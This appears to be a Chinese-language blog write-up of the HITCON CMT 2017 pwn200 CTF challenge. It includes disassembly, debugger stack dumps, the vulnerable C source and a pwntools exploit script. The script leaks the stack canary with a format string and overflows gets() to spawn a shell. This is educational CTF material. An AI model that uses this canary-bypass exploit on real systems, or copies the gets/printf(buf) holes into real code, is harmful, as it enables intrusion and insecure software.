HITCON_CMT_2017_pwn200

12 篇文章 0 订阅


文件下载

1. 基本信息

file:

$ file HITCON_CMT_2017_pwn200
HITCON_CMT_2017_pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=57aa66342051fe3bfe3a1005164786816c22a485, with debug_info, not stripped

checksec:

$ checksec HITCON_CMT_2017_pwn200
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

注意有canary栈保护。

反汇编

objdump -d -M intel

0804854d <canary_protect_me>:
 804854d:       55                      push   ebp
 804854e:       89 e5                   mov    ebp,esp
 8048550:       83 ec 18                sub    esp,0x18
 8048553:       c7 04 24 90 86 04 08    mov    DWORD PTR [esp],0x8048690
 804855a:       e8 b1 fe ff ff          call   8048410 <system@plt>
 804855f:       c9                      leave
 8048560:       c3                      ret

08048561 <main>:
...
 804856a:       65 a1 14 00 00 00       mov    eax,gs:0x14
 8048570:       89 44 24 3c             mov    DWORD PTR [esp+0x3c],eax
...
 80485c0:       8d 44 24 14             lea    eax,[esp+0x14]
 80485c4:       89 04 24                mov    DWORD PTR [esp],eax
 80485c7:       e8 24 fe ff ff          call   80483f0 <gets@plt>
 80485cc:       8d 44 24 14             lea    eax,[esp+0x14]
 80485d0:       89 04 24                mov    DWORD PTR [esp],eax
 80485d3:       e8 08 fe ff ff          call   80483e0 <printf@plt>
 80485d8:       8d 44 24 14             lea    eax,[esp+0x14]
 80485dc:       89 04 24                mov    DWORD PTR [esp],eax
 80485df:       e8 0c fe ff ff          call   80483f0 <gets@plt>
...
 80485e9:       8b 54 24 3c             mov    edx,DWORD PTR [esp+0x3c]
 80485ed:       65 33 15 14 00 00 00    xor    edx,DWORD PTR gs:0x14
 80485f6:       e8 05 fe ff ff          call   8048400 <__stack_chk_fail@plt>
...

canary_protect_me里system的参数应该是sh,验证一下。先判断加载基址,再用string命令查看字符串:

$ readelf -l HITCON_CMT_2017_pwn200  

Elf file type is EXEC (Executable file)
Entry point 0x8048450
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
...
	LOAD           0x000000 0x08048000 0x08048000 0x0079c 0x0079c R E 0x1000
...
$ strings -t x HITCON_CMT_2017_pwn200  | grep 690
    690 /bin/sh

main函数流程:

  1. setvbuf设置输入输出缓冲区;
  2. canary存在esp+0x3c
  3. gets(buf),buf位于esp+0x14
  4. printf(buf)
  5. gets(buf)
  6. 检查canary

思路

  1. 第1个gets,利用格式化字符串漏洞读出canary的值;
  2. 第2个gets,覆盖返回地址为canary_protect_me,执行system获取shell,覆盖时canary的值不能变。

3. 调试

main开始处,确认一下canary地址是0xffffd40c,值为0x4637a300:

 EAX  0x4637a300
...
 EBP  0xffffd418 ◂— 0x0
 ESP  0xffffd3d0 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
*EIP  0x8048574 (main+19) ◂— xor    eax, eax
──────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────
   0x804856a <main+9>     mov    eax, dword ptr gs:[0x14]
   0x8048570 <main+15>    mov    dword ptr [esp + 0x3c], eax
 ► 0x8048574 <main+19>    xor    eax, eax
pwndbg> x /x $esp + 0x3c
0xffffd40c:     0x50495500

第一个gets,输入16个a,查看栈数据:

0x80485d3 <main+114>    call   printf@plt                     <printf@plt>
        format: 0xffffd3e4 ◂— 'aaaaaaaaaaaaaaaa'
        vararg: 0x0
pwndbg> x /40x $esp
0xffffd3d0:     0xffffd3e4      0x00000000      0x00000001      0x00000000
0xffffd3e0:     0xf7fb53fc      0x61616161      0x61616161      0x61616161
0xffffd3f0:     0x61616161      0xffffd400      0xffffd4bc      0xf7e0d875
0xffffd400:     0xf7fe5970      0x00000000      0x0804860b      0x4637a300  
0xffffd410:     0xf7fb5000      0xf7fb5000      0x00000000      0xf7df5fa1
...

(0xffffd40c - 0xffffd3d0)/4 == 15 (或者0xffffd410 - 0xffffd3d4再除以4),canary是第15个参数,那么输入%15$x就能获取canary。

buf与canary地址相差0xffffd40c-0xffffd3e4==40个字节

ebp值为0xffffd418,那么返回地址就是位于0xffffd418 + 4, 与canary相差0xffffd418+4-0xffffd410==12个字节

第2次gets发送的payload的结构:

40个字节
canary
12个字节
canary_protect_me地址:0x0804854d

4. exp

可以先down下来,用process或gdb.debug调试:

from pwn import *

context.log_level = 'debug'


pSystemBinsh = 0x0804854d
program = "./HITCON_CMT_2017_pwn200"
p = process([program])
# p = gdb.debug(program, "b main")
# pause()

p.sendline("%15$x")

canary = int(p.recv(timeout=5), 16)
log.info("canary: 0x%x" % canary)

payload = bytes("a"*40, encoding="ascii")
payload += p32(canary)
payload += bytes("a"*12, encoding="ascii")
payload += p32(pSystemBinsh)

# gdb.attach(p)
# pause()
p.sendline(payload)


p.interactive()

源码

#include <stdio.h>
#include <stdlib.h>

void canary_protect_me(void)
{
    system("/bin/sh");
}

int main(void)
{
    setvbuf(stdout, 0LL, _IONBF, 0LL);
    setvbuf(stdin, 0LL, _IOLBF, 0LL);

    char buf[40];
    gets(buf);
    printf(buf);
    gets(buf);
    
    return 0;
}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值